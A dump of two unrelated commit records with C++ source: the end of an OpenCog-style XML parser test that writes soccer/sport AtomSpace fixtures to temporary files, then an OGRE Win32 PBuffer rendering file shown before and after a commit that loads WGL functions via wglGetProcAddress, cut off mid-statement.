hyp=\\\"hyp_1\\\" strength=\\\"1.0\\\" confidence=\\\"0.95\\\"> \\\r\n<Element name=\\\"soccer\\\" class=\\\"WordNode\\\"\/> \\\r\n<Element name=\\\"sport\\\" class=\\\"WordNode\\\"\/> \\\r\n<\/InheritanceLink> \\\r\n<\/list>\"\r\n\/* UNCOMMENT TO USE HYPOTHETICAL ATOMTABLE \r\n,\r\n\"<?xml version=\\\"1.0\\\"?> \\\r\n<list> \\\r\n<tagdescription> \\\r\n<tag name=\\\"WordNode\\\" value=\\\"WordNode\\\"\/> \\\r\n<tag name=\\\"InheritanceLink\\\" value=\\\"InheritanceLink\\\"\/> \\\r\n<tag name=\\\"MemberLink\\\" value=\\\"MemberLink\\\"\/> \\\r\n<\/tagdescription> \\\r\n<WordNode name=\\\"soccer\\\" timestamp=\\\"3422827\\\"\/> \\\r\n<WordNode name=\\\"sport\\\" timestamp=\\\"3422827\\\"\/> \\\r\n<MemberLink strength=\\\"0.50\\\" confidence=\\\"0.80\\\"> \\\r\n  <InheritanceLink hyp=\\\"hyp_1\\\" strength=\\\"1.0\\\" confidence=\\\"0.95\\\"> \\\r\n    <Element name=\\\"soccer\\\" class=\\\"WordNode\\\"\/> \\\r\n    <Element name=\\\"sport\\\" class=\\\"WordNode\\\"\/> \\\r\n  <\/InheritanceLink> \\\r\n  <Element name=\\\"soccer\\\" class=\\\"WordNode\\\"\/> \\\r\n<\/MemberLink> \\\r\n<InheritanceLink hyp=\\\"hyp_2\\\" strength=\\\"1.0\\\" confidence=\\\"0.95\\\"> \\\r\n  <Element name=\\\"soccer\\\" class=\\\"WordNode\\\"\/> \\\r\n  <Element name=\\\"sport\\\" class=\\\"WordNode\\\"\/> \\\r\n<\/InheritanceLink> \\\r\n<\/list>\"\r\n*\/\r\n};\r\n<commit_msg>fix a few places where handles are used inappropriately<commit_after>\/**\r\n * NMXmlParserExperiment.cc\r\n *\r\n *\r\n * Copyright(c) 2003 Rodrigo Barra\r\n * All rights reserved.\r\n *\/\r\n#include <NMXmlParserExperiment.h>\r\n#include <ClassServer.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <exceptions.h>\r\n#ifndef WIN32\r\n#include <unistd.h>\r\n#endif\r\n#include <Link.h>\r\n#include <TLB.h>\r\n#include <cxxtest\/TestSuite.h>\r\n\r\n#include <cstdlib>\r\nusing namespace std;\r\n\r\n#ifdef WIN32\r\n#include <fcntl.h>\r\n#include <io.h>\r\n#define _S_IREAD 256\r\n#define _S_IWRITE 128\r\nint mkstemp(char *tmpl)\r\n{\r\n\tint ret=-1;\r\n\t_mktemp(tmpl); \r\n\tret=open(tmpl,O_RDWR|O_BINARY|O_CREAT|O_EXCL|_O_SHORT_LIVED, _S_IREAD|_S_IWRITE); \r\n\treturn ret;\r\n}\r\n\r\n#endif\r\n\r\nbool NMXmlParserExperiment::noCheck = false;\r\nchar *NMXmlParserExperiment::currentFileName = NULL;\r\nint NMXmlParserExperiment::currentExperiment = -1;\r\n\r\nHandle NMXmlParserExperiment::sport = UNDEFINED_HANDLE;\r\nHandle NMXmlParserExperiment::soccer = UNDEFINED_HANDLE;\r\nHandle NMXmlParserExperiment::link_sport_socker = UNDEFINED_HANDLE;\r\nHandle NMXmlParserExperiment::hihger_order_link = UNDEFINED_HANDLE;\r\nAtomSpace* NMXmlParserExperiment::atomSpace = NULL;\r\n\r\nvoid NMXmlParserExperiment::initStaticVars() {\r\n\tNMXmlParserExperiment::noCheck = false;\r\n\tNMXmlParserExperiment::currentFileName = NULL;\r\n\tNMXmlParserExperiment::currentExperiment = -1;\r\n\r\n\tNMXmlParserExperiment::sport = UNDEFINED_HANDLE;\r\n\tNMXmlParserExperiment::soccer = UNDEFINED_HANDLE;\r\n\tNMXmlParserExperiment::link_sport_socker = UNDEFINED_HANDLE;\r\n\tNMXmlParserExperiment::hihger_order_link = UNDEFINED_HANDLE;\r\n\tNMXmlParserExperiment::atomSpace = NULL;\r\n}\r\n\r\nint NMXmlParserExperiment::getNExperiments(){\r\n\treturn(NNMXMLXMLEXPERIMENTS);\r\n}\r\n\r\nvoid NMXmlParserExperiment::createExperiment(int exp, AtomSpace* as){\r\n\tif ((exp < 0) || (exp > NNMXMLXMLEXPERIMENTS)){\r\n\t    throw new RuntimeException(TRACE_INFO, \"Invalid Experiment\\n\");\r\n\t}\r\n\r\n\tif (currentExperiment != -1){\r\n\t\tthrow new RuntimeException(TRACE_INFO, \"Tried to start a new experiment without destroying the last one\");\r\n\t}\r\n\r\n\tcurrentExperiment = exp;\r\n\t\r\n\t\/\/currentFileName = strdup(\"\/var\/tmp\/xmltest.XXXXXX\");\r\n\tcurrentFileName = strdup(\"xmltest.XXXXXX\");\r\n    printf(\"just allocated currentFileName = %s\\n\", currentFileName);\r\n\t\r\n\tint fd = mkstemp(currentFileName);\r\n    printf(\"after mkstemp currentFileName = %s\\n\", currentFileName);\r\n\r\n\tif (fd == -1){\r\n\t\tthrow new RuntimeException(TRACE_INFO, \"Could not create temporary file\\n\");\r\n\t}\r\n\r\n\twrite(fd, expContents[exp%2], strlen(expContents[exp%2]));\r\n   \r\n\tclose(fd);\r\n\r\n    if (atomSpace) delete atomSpace;\r\n    atomSpace = as;    \r\n}\r\n\r\nbool NMXmlParserExperiment::checkExperiment(){\r\n    if (noCheck) {\r\n        return (true);\r\n    }\r\n\tif (currentExperiment == -1){\r\n\t\treturn(true);\r\n\t}\r\n\tswitch (currentExperiment){\r\n\tcase 0:\r\n\t\treturn(checkExp0());\r\n\t\tbreak;\r\n\tcase 1:\r\n\t\treturn(checkExp1());\r\n\t\tbreak;\r\n\t}\r\n\treturn(false);\r\n}\r\n\r\nAtomSpace* NMXmlParserExperiment::destroyExperiment(bool cleanup){\r\n\tif (currentExperiment == -1){\r\n\t\treturn atomSpace;\r\n\t}\r\n    printf(\"currentFileName = %s\\n\", currentFileName);\r\n\tremove(currentFileName);\r\n#ifndef WIN32 \/\/ For some reason, this causes error on Windows\r\n\tfree(currentFileName);\r\n#endif\r\n\tcurrentFileName = NULL;\r\n\tcurrentExperiment = -1;\r\n    if (cleanup) {\r\n    \tcleanupAtomSpace();\r\n    }\r\n    return atomSpace;\r\n}\r\n\r\nAtomSpace* NMXmlParserExperiment::cleanupAtomSpace(){\r\n    delete atomSpace;\r\n    atomSpace = new AtomSpace();\r\n    return atomSpace;\r\n}\r\n\r\nAtomSpace* NMXmlParserExperiment::getAtomSpace(){\r\n    return atomSpace;\r\n}\r\n\r\nbool NMXmlParserExperiment::checkExp0()\r\n{\r\n\tsoccer = atomSpace->getHandle(WORD_NODE, \"soccer\");\r\n\tsport = atomSpace->getHandle(WORD_NODE, \"sport\");\r\n\r\n\tTS_ASSERT(TLB::isValidHandle(soccer));\r\n\tTS_ASSERT(TLB::isValidHandle(sport));\r\n\tif (TLB::isInvalidHandle(soccer) || TLB::isInvalidHandle(sport)){\r\n\t\treturn(false);\r\n\t}\r\n\t\r\n\tstd::vector<Handle> handles;\r\n\tatomSpace->getHandleSet(back_inserter(handles), INHERITANCE_LINK, true);\t\r\n\r\n\tTS_ASSERT(handles.size() == 1);\r\n\tif (handles.size() != 1){\r\n\t\treturn(false);\r\n\t}\r\n\tAtom *atom = TLB::getAtom(handles[0]);\r\n\tlink_sport_socker = handles[0];\r\n\r\n\tTS_ASSERT((atom->getOutgoingSet()[0]) == soccer);\r\n\tTS_ASSERT((atom->getOutgoingSet()[1]) == sport);\r\n\tif ((atom->getOutgoingSet()[0] != soccer) ||\r\n\t\t(atom->getOutgoingSet()[1] != sport)){\r\n\t\treturn(false);\r\n\t}\r\n\r\n\treturn(true);\r\n}\r\n\r\nbool NMXmlParserExperiment::checkExp1(){\r\n\t\r\n\tsoccer = atomSpace->getHandle(WORD_NODE, \"soccer\");\r\n\tsport = atomSpace->getHandle(WORD_NODE, \"sport\");\r\n\t\r\n\tTS_ASSERT(TLB::isValidHandle(soccer));\r\n\tTS_ASSERT(TLB::isValidHandle(sport));\r\n\tif (TLB::isInvalidHandle(soccer) || TLB::isInvalidHandle(sport)){\r\n\t\treturn(false);\r\n\t}\r\n\t\r\n\tHandleEntry* entry = atomSpace->getAtomTable().getHandleSet(INHERITANCE_LINK, true);\r\n\t\r\n\tstd::vector<Handle> handles;\r\n\tatomSpace->getHandleSet(back_inserter(handles), INHERITANCE_LINK, true);\r\n\tTS_ASSERT(handles.size() == 0);\r\n\t\r\n\tatomSpace->getHandleSet(back_inserter(handles), INHERITANCE_LINK, true);\r\n\tTS_ASSERT(handles.size() == 2);\r\n\tif (handles.size() != 2){\r\n\t\treturn(false);\r\n\t}\t\r\n\t\r\n\tTS_ASSERT(entry == NULL);\r\n\t\r\n\tlink_sport_socker = NULL;\r\n\tAtom *atom = NULL;\r\n\tstd::vector<Handle>::iterator it;\r\n\tfor(it = handles.begin(); it != handles.end(); it++){\r\n\t\tatom = TLB::getAtom((Handle)*it);\r\n\t\tif (atom->getIncomingSet()->getSize() == 1){\r\n\t\t\tTS_ASSERT(TLB::isInvalidHandle(link_sport_socker));\r\n\t\t\tlink_sport_socker = *it;\r\n\t\t}\r\n\t}\r\n\thandles.clear();\r\n\t\r\n\tTS_ASSERT(TLB::isValidHandle(link_sport_socker));\r\n\tTS_ASSERT((atom->getOutgoingSet()[0]) == soccer);\r\n\tTS_ASSERT((atom->getOutgoingSet()[1]) == sport);\r\n\tif ((atom->getOutgoingSet()[0] != soccer) ||\r\n\t\t(atom->getOutgoingSet()[1] != sport)){\r\n\t\treturn(false);\r\n\t}\r\n\t\t\r\n\tatomSpace->getHandleSet(back_inserter(handles), MEMBER_LINK, true);\r\n\t\r\n\r\n\tTS_ASSERT(handles.size() == 1);\t\r\n\tif (handles.size() != 1){\r\n\t\treturn(false);\r\n\t}\r\n\tatom = TLB::getAtom(handles[0]);\r\n\thihger_order_link = handles[0];\r\n\r\n\tTS_ASSERT(atom->getOutgoingSet()[0] == link_sport_socker);\r\n\tTS_ASSERT(atom->getOutgoingSet()[1] == soccer);\t\r\n\tif ((atom->getOutgoingSet()[0] != link_sport_socker) ||\r\n\t\t(atom->getOutgoingSet()[1] != soccer)){\r\n\t\treturn(false);\r\n\t}\r\n\t\r\n\t\r\n\/*\t\r\n\tentry = atomSpace->getAtomTable()->getHandleSet(INHERITANCE_LINK, true);\t\r\n\r\n\tTS_ASSERT(entry->getSize() == 2);\r\n\tif (entry->getSize() != 2){\r\n\t\tdelete entry;\r\n\t\treturn(false);\r\n\t}\r\n\t\r\n\tlink_sport_socker = NULL;\r\n\tAtom *atom = NULL;\r\n\t\r\n\tHandleEntry *it = entry;\r\n\twhile (it){\r\n\t\tatom = it->getAtom();\r\n\t\tif (atom->getIncomingSet()->getSize() == 1){\r\n\t\t\tTS_ASSERT(TLB::isInvalidHandle(link_sport_socker));\r\n\t\t\tlink_sport_socker = it->handle;\r\n\t\t}\r\n\t\tit = it->next;\r\n\t}\r\n\tdelete entry;\r\n\t\r\n\tTS_ASSERT(link_sport_socker != NULL);\r\n\r\n\tTS_ASSERT(TLB::getHandle(atom->getOutgoingSet()[0]) == soccer);\r\n\tTS_ASSERT(TLB::getHandle(atom->getOutgoingSet()[1]) == sport);\r\n\tif ((atom->getOutgoingSet()[0] != soccer) ||\r\n\t\t(atom->getOutgoingSet()[1] != sport)){\r\n\t\treturn(false);\r\n\t}\r\n\t\r\n\tentry = atomSpace->getAtomTable()->getHandleSet(MEMBER_LINK, true);\r\n\t\r\n\r\n\tTS_ASSERT(entry->getSize() == 1);\t\r\n\tif (entry->getSize() != 1){\r\n\t\tdelete entry;\r\n\t\treturn(false);\r\n\t}\r\n\tatom = entry->getAtom();\r\n\thihger_order_link = entry->handle;\r\n\tdelete entry;\r\n\r\n\tTS_ASSERT(atom->getOutgoingSet()[0] == link_sport_socker);\r\n\tTS_ASSERT(atom->getOutgoingSet()[1] == soccer);\t\r\n\tif ((atom->getOutgoingSet()[0] != link_sport_socker) ||\r\n\t\t(atom->getOutgoingSet()[1] != soccer)){\r\n\t\treturn(false);\r\n\t}\r\n*\/\r\n\treturn(true);\r\n}\r\n\r\n\r\nchar *NMXmlParserExperiment::expContents[NNMXMLXMLEXPERIMENTS] = {\r\n\"<?xml version=\\\"1.0\\\"?> \\\r\n<list> \\\r\n<tagdescription> \\\r\n<tag name=\\\"WordNode\\\" value=\\\"WordNode\\\"\/> \\\r\n<tag name=\\\"InheritanceLink\\\" value=\\\"InheritanceLink\\\"\/> \\\r\n<\/tagdescription> \\\r\n<WordNode name=\\\"soccer\\\" timestamp=\\\"3422826\\\"\/> \\\r\n<WordNode name=\\\"sport\\\" timestamp=\\\"3422826\\\"\/> \\\r\n<InheritanceLink hyp=\\\"hyp_1\\\" strength=\\\"1.0\\\" confidence=\\\"0.95\\\"> \\\r\n<Element name=\\\"soccer\\\" class=\\\"WordNode\\\"\/> \\\r\n<Element name=\\\"sport\\\" class=\\\"WordNode\\\"\/> \\\r\n<\/InheritanceLink> \\\r\n<InheritanceLink hyp=\\\"hyp_1\\\" strength=\\\"1.0\\\" confidence=\\\"0.95\\\"> \\\r\n<Element name=\\\"soccer\\\" class=\\\"WordNode\\\"\/> \\\r\n<Element name=\\\"sport\\\" class=\\\"WordNode\\\"\/> \\\r\n<\/InheritanceLink> \\\r\n<\/list>\"\r\n\/* UNCOMMENT TO USE HYPOTHETICAL ATOMTABLE \r\n,\r\n\"<?xml version=\\\"1.0\\\"?> \\\r\n<list> \\\r\n<tagdescription> \\\r\n<tag name=\\\"WordNode\\\" value=\\\"WordNode\\\"\/> \\\r\n<tag name=\\\"InheritanceLink\\\" value=\\\"InheritanceLink\\\"\/> \\\r\n<tag name=\\\"MemberLink\\\" value=\\\"MemberLink\\\"\/> \\\r\n<\/tagdescription> \\\r\n<WordNode name=\\\"soccer\\\" timestamp=\\\"3422827\\\"\/> \\\r\n<WordNode name=\\\"sport\\\" timestamp=\\\"3422827\\\"\/> \\\r\n<MemberLink strength=\\\"0.50\\\" confidence=\\\"0.80\\\"> \\\r\n  <InheritanceLink hyp=\\\"hyp_1\\\" strength=\\\"1.0\\\" confidence=\\\"0.95\\\"> \\\r\n    <Element name=\\\"soccer\\\" class=\\\"WordNode\\\"\/> \\\r\n    <Element name=\\\"sport\\\" class=\\\"WordNode\\\"\/> \\\r\n  <\/InheritanceLink> \\\r\n  <Element name=\\\"soccer\\\" class=\\\"WordNode\\\"\/> \\\r\n<\/MemberLink> \\\r\n<InheritanceLink hyp=\\\"hyp_2\\\" strength=\\\"1.0\\\" confidence=\\\"0.95\\\"> \\\r\n  <Element name=\\\"soccer\\\" class=\\\"WordNode\\\"\/> \\\r\n  <Element name=\\\"sport\\\" class=\\\"WordNode\\\"\/> \\\r\n<\/InheritanceLink> \\\r\n<\/list>\"\r\n*\/\r\n};\r\n<|endoftext|>"}
{"text":"<commit_before>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n    (Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\/\n\nCopyright (c) 2000-2014 Torus Knot Software Ltd\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n\n#include \"OgreRoot.h\"\n#include \"OgreLogManager.h\"\n#include \"OgreRenderSystem.h\"\n#include \"OgreImageCodec.h\"\n#include \"OgreException.h\"\n#include \"OgreStringConverter.h\"\n#include \"OgreWin32RenderTexture.h\"\n#include \"OgreWin32GLSupport.h\"\n#include \"OgreWin32Context.h\"\n\nnamespace Ogre {\n\n     Win32PBuffer::Win32PBuffer(PixelComponentType format, size_t width, size_t height):\n        GLPBuffer(format, width, height),\n        mContext(0)\n    {\n        createPBuffer();\n\n        \/\/ Create context\n        mContext = new Win32Context(mHDC, mGlrc);\n#if 0\n        if(mUseBind)\n        {\n            \/\/ Bind texture\n            glBindTextureEXT(GL_TEXTURE_2D, static_cast<GLTexture*>(mTexture.get())->getGLID());\n            wglBindTexImageARB(mPBuffer, WGL_FRONT_LEFT_ARB);\n        }\n#endif\n    }\n     Win32PBuffer::~Win32PBuffer() \n    {\n#if 0\n        if(mUseBind)\n        {\n            \/\/ Unbind texture\n            glBindTextureEXT(GL_TEXTURE_2D,\n                static_cast<GLTexture*>(mTexture.get())->getGLID());\n            glBindTextureEXT(GL_TEXTURE_2D,\n                static_cast<GLTexture*>(mTexture.get())->getGLID());\n            wglReleaseTexImageARB(mPBuffer, WGL_FRONT_LEFT_ARB);\n        }\n#endif\n        \/\/ Unregister and destroy mContext\n        delete mContext;        \n           \n        \/\/ Destroy pbuffer\n        destroyPBuffer();\n    }\n    \n    void Win32PBuffer::createPBuffer() \n    {\n\n        \/\/ Process format\n        int bits=0;\n        bool isFloat=false;\n#if 0\n        bool hasAlpha=true;\n#endif\n        switch(mFormat)\n        {\n            case PCT_BYTE:\n                bits=8; isFloat=false;\n                break;\n            case PCT_SHORT:\n                bits=16; isFloat=false;\n                break;\n            case PCT_FLOAT16:\n                bits=16; isFloat=true;\n                break;\n            case PCT_FLOAT32:\n                bits=32; isFloat=true;\n                break;\n            default: break;\n        };\n        LogManager::getSingleton().logMessage(\n            \" Win32PBuffer::Creating PBuffer of format bits=\"+\n            StringConverter::toString(bits)+\n            \" float=\"+StringConverter::toString(isFloat)\n        );\n\n\n        HDC old_hdc = wglGetCurrentDC();\n        HGLRC old_context = wglGetCurrentContext();\n\n        \/\/ Bind to RGB or RGBA texture\n        int bttype = 0;\n#if 0\n        if(mUseBind)\n        {\n            \/\/ Only provide bind type when actually binding\n            bttype = PixelUtil::hasAlpha(mInternalFormat)?\n                WGL_BIND_TO_TEXTURE_RGBA_ARB : WGL_BIND_TO_TEXTURE_RGB_ARB;\n        }\n        int texformat = hasAlpha?\n            WGL_TEXTURE_RGBA_ARB : WGL_TEXTURE_RGB_ARB;\n#endif\n        \/\/ Make a float buffer?\n        int pixeltype = isFloat?\n            WGL_TYPE_RGBA_FLOAT_ARB: WGL_TYPE_RGBA_ARB;\n        \n        int attrib[] = {\n            WGL_RED_BITS_ARB,bits,\n            WGL_GREEN_BITS_ARB,bits,\n            WGL_BLUE_BITS_ARB,bits,\n            WGL_ALPHA_BITS_ARB,bits,\n            WGL_STENCIL_BITS_ARB,1,\n            WGL_DEPTH_BITS_ARB,15,\n            WGL_DRAW_TO_PBUFFER_ARB,true,\n            WGL_SUPPORT_OPENGL_ARB,true,\n            WGL_PIXEL_TYPE_ARB,pixeltype,\n            \/\/WGL_DOUBLE_BUFFER_ARB,true,\n            \/\/WGL_ACCELERATION_ARB,WGL_FULL_ACCELERATION_ARB, \/\/ Make sure it is accelerated\n            bttype,true, \/\/ must be last, as bttype can be zero\n            0\n        };\n        int pattrib_default[] = { \n            0\n        };\n#if 0\n        int pattrib_bind[] = { \n            WGL_TEXTURE_FORMAT_ARB, texformat, \n            WGL_TEXTURE_TARGET_ARB, WGL_TEXTURE_2D_ARB,\n            WGL_PBUFFER_LARGEST_ARB, true,\n            0 \n        };\n#endif\n        int format;\n        unsigned int count;\n\n        \/\/ Choose suitable pixel format\n        wglChoosePixelFormatARB(old_hdc,attrib,NULL,1,&format,&count);\n        if(count == 0)\n            OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR, \"wglChoosePixelFormatARB() failed\", \" Win32PBuffer::createPBuffer\");\n\n        \/\/ Analyse pixel format\n        const int piAttributes[]={\n                WGL_RED_BITS_ARB,WGL_GREEN_BITS_ARB,WGL_BLUE_BITS_ARB,WGL_ALPHA_BITS_ARB,\n                WGL_DEPTH_BITS_ARB,WGL_STENCIL_BITS_ARB\n        };\n        int piValues[sizeof(piAttributes)\/sizeof(const int)];\n        wglGetPixelFormatAttribivARB(old_hdc,format,0,sizeof(piAttributes)\/sizeof(const int),piAttributes,piValues);\n\n        LogManager::getSingleton().stream()\n            << \" Win32PBuffer::PBuffer -- Chosen pixel format rgba=\"\n            << piValues[0] << \",\"  \n            << piValues[1] << \",\"  \n            << piValues[2] << \",\"  \n            << piValues[3] \n            << \" depth=\" << piValues[4]\n            << \" stencil=\" << piValues[5];\n\n        mPBuffer = wglCreatePbufferARB(old_hdc,format,mWidth,mHeight,pattrib_default);\n        if(!mPBuffer)\n            OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR, \"wglCreatePbufferARB() failed\", \" Win32PBuffer::createPBuffer\");\n\n        mHDC = wglGetPbufferDCARB(mPBuffer);\n        if(!mHDC) {\n            wglDestroyPbufferARB(mPBuffer);\n            OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR, \"wglGetPbufferDCARB() failed\", \" Win32PBuffer::createPBuffer\");\n        }\n            \n        mGlrc = wglCreateContext(mHDC);\n        if(!mGlrc) {\n            wglReleasePbufferDCARB(mPBuffer,mHDC);\n            wglDestroyPbufferARB(mPBuffer);\n            OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR, \"wglCreateContext() failed\", \" Win32PBuffer::createPBuffer\");\n        }\n\n        if(!wglShareLists(old_context,mGlrc)) {\n            wglDeleteContext(mGlrc);\n            wglReleasePbufferDCARB(mPBuffer,mHDC);\n            wglDestroyPbufferARB(mPBuffer);\n            OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR, \"wglShareLists() failed\", \" Win32PBuffer::createPBuffer\");\n        }\n                \n        \/\/ Query real width and height\n        int iWidth, iHeight;\n        wglQueryPbufferARB(mPBuffer, WGL_PBUFFER_WIDTH_ARB, &iWidth);\n        wglQueryPbufferARB(mPBuffer, WGL_PBUFFER_HEIGHT_ARB, &iHeight);\n        mWidth = iWidth;  \n        mHeight = iHeight;\n        LogManager::getSingleton().stream()\n            << \"Win32RenderTexture::PBuffer created -- Real dimensions \"\n            << mWidth << \"x\" << mHeight;\n    }\n    void Win32PBuffer::destroyPBuffer() \n    {\n        wglDeleteContext(mGlrc);\n        wglReleasePbufferDCARB(mPBuffer,mHDC);\n        wglDestroyPbufferARB(mPBuffer);\n    }\n\n\n}\n<commit_msg>GLSupport: disable PBuffers on Win32 for now<commit_after>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n    (Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\/\n\nCopyright (c) 2000-2014 Torus Knot Software Ltd\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n\n#include \"OgreRoot.h\"\n#include \"OgreLogManager.h\"\n#include \"OgreRenderSystem.h\"\n#include \"OgreImageCodec.h\"\n#include \"OgreException.h\"\n#include \"OgreStringConverter.h\"\n#include \"OgreWin32RenderTexture.h\"\n#include \"OgreWin32GLSupport.h\"\n#include \"OgreWin32Context.h\"\n\nnamespace Ogre {\n\n     Win32PBuffer::Win32PBuffer(PixelComponentType format, size_t width, size_t height):\n        GLPBuffer(format, width, height),\n        mContext(0)\n    {\n        createPBuffer();\n\n        \/\/ Create context\n        mContext = new Win32Context(mHDC, mGlrc);\n#if 0\n        if(mUseBind)\n        {\n            \/\/ Bind texture\n            glBindTextureEXT(GL_TEXTURE_2D, static_cast<GLTexture*>(mTexture.get())->getGLID());\n            wglBindTexImageARB(mPBuffer, WGL_FRONT_LEFT_ARB);\n        }\n#endif\n    }\n     Win32PBuffer::~Win32PBuffer() \n    {\n#if 0\n        if(mUseBind)\n        {\n            \/\/ Unbind texture\n            glBindTextureEXT(GL_TEXTURE_2D,\n                static_cast<GLTexture*>(mTexture.get())->getGLID());\n            glBindTextureEXT(GL_TEXTURE_2D,\n                static_cast<GLTexture*>(mTexture.get())->getGLID());\n            wglReleaseTexImageARB(mPBuffer, WGL_FRONT_LEFT_ARB);\n        }\n#endif\n        \/\/ Unregister and destroy mContext\n        delete mContext;        \n           \n        \/\/ Destroy pbuffer\n        destroyPBuffer();\n    }\n    \n    void Win32PBuffer::createPBuffer() \n    {\n\n        \/\/ Process format\n        int bits=0;\n        bool isFloat=false;\n#if 0\n        bool hasAlpha=true;\n#endif\n        switch(mFormat)\n        {\n            case PCT_BYTE:\n                bits=8; isFloat=false;\n                break;\n            case PCT_SHORT:\n                bits=16; isFloat=false;\n                break;\n            case PCT_FLOAT16:\n                bits=16; isFloat=true;\n                break;\n            case PCT_FLOAT32:\n                bits=32; isFloat=true;\n                break;\n            default: break;\n        };\n        LogManager::getSingleton().logMessage(\n            \" Win32PBuffer::Creating PBuffer of format bits=\"+\n            StringConverter::toString(bits)+\n            \" float=\"+StringConverter::toString(isFloat)\n        );\n\n\n        HDC old_hdc = wglGetCurrentDC();\n        HGLRC old_context = wglGetCurrentContext();\n\n        \/\/ Bind to RGB or RGBA texture\n        int bttype = 0;\n#if 0\n        if(mUseBind)\n        {\n            \/\/ Only provide bind type when actually binding\n            bttype = PixelUtil::hasAlpha(mInternalFormat)?\n                WGL_BIND_TO_TEXTURE_RGBA_ARB : WGL_BIND_TO_TEXTURE_RGB_ARB;\n        }\n        int texformat = hasAlpha?\n            WGL_TEXTURE_RGBA_ARB : WGL_TEXTURE_RGB_ARB;\n#endif\n        \/\/ Make a float buffer?\n        int pixeltype = isFloat?\n            WGL_TYPE_RGBA_FLOAT_ARB: WGL_TYPE_RGBA_ARB;\n        \n        int attrib[] = {\n            WGL_RED_BITS_ARB,bits,\n            WGL_GREEN_BITS_ARB,bits,\n            WGL_BLUE_BITS_ARB,bits,\n            WGL_ALPHA_BITS_ARB,bits,\n            WGL_STENCIL_BITS_ARB,1,\n            WGL_DEPTH_BITS_ARB,15,\n            WGL_DRAW_TO_PBUFFER_ARB,true,\n            WGL_SUPPORT_OPENGL_ARB,true,\n            WGL_PIXEL_TYPE_ARB,pixeltype,\n            \/\/WGL_DOUBLE_BUFFER_ARB,true,\n            \/\/WGL_ACCELERATION_ARB,WGL_FULL_ACCELERATION_ARB, \/\/ Make sure it is accelerated\n            bttype,true, \/\/ must be last, as bttype can be zero\n            0\n        };\n        int pattrib_default[] = { \n            0\n        };\n#if 0\n        int pattrib_bind[] = { \n            WGL_TEXTURE_FORMAT_ARB, texformat, \n            WGL_TEXTURE_TARGET_ARB, WGL_TEXTURE_2D_ARB,\n            WGL_PBUFFER_LARGEST_ARB, true,\n            0 \n        };\n#endif\n        int format;\n        unsigned int count;\n\n        PFNWGLCHOOSEPIXELFORMATARBPROC wglChoosePixelFormatARB = (PFNWGLCHOOSEPIXELFORMATARBPROC)wglGetProcAddress(\"wglChoosePixelFormatARB\");\n\n        \/\/ Choose suitable pixel format\n        wglChoosePixelFormatARB(old_hdc,attrib,NULL,1,&format,&count);\n        if(count == 0)\n            OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR, \"wglChoosePixelFormatARB() failed\", \" Win32PBuffer::createPBuffer\");\n\n        \/\/ Analyse pixel format\n        const int piAttributes[]={\n                WGL_RED_BITS_ARB,WGL_GREEN_BITS_ARB,WGL_BLUE_BITS_ARB,WGL_ALPHA_BITS_ARB,\n                WGL_DEPTH_BITS_ARB,WGL_STENCIL_BITS_ARB\n        };\n        int piValues[sizeof(piAttributes)\/sizeof(const int)];\n\n        PFNWGLGETPIXELFORMATATTRIBIVARBPROC wglGetPixelFormatAttribiv = (PFNWGLGETPIXELFORMATATTRIBIVARBPROC)wglGetProcAddress(\"wglGetPixelFormatAttribivARB\");\n        wglGetPixelFormatAttribiv(old_hdc,format,0,sizeof(piAttributes)\/sizeof(const int),piAttributes,piValues);\n\n        LogManager::getSingleton().stream()\n            << \" Win32PBuffer::PBuffer -- Chosen pixel format rgba=\"\n            << piValues[0] << \",\"  \n            << piValues[1] << \",\"  \n            << piValues[2] << \",\"  \n            << piValues[3] \n            << \" depth=\" << piValues[4]\n            << \" stencil=\" << piValues[5];\n        \/\/ FIXME lookup procaddress\n        mPBuffer = 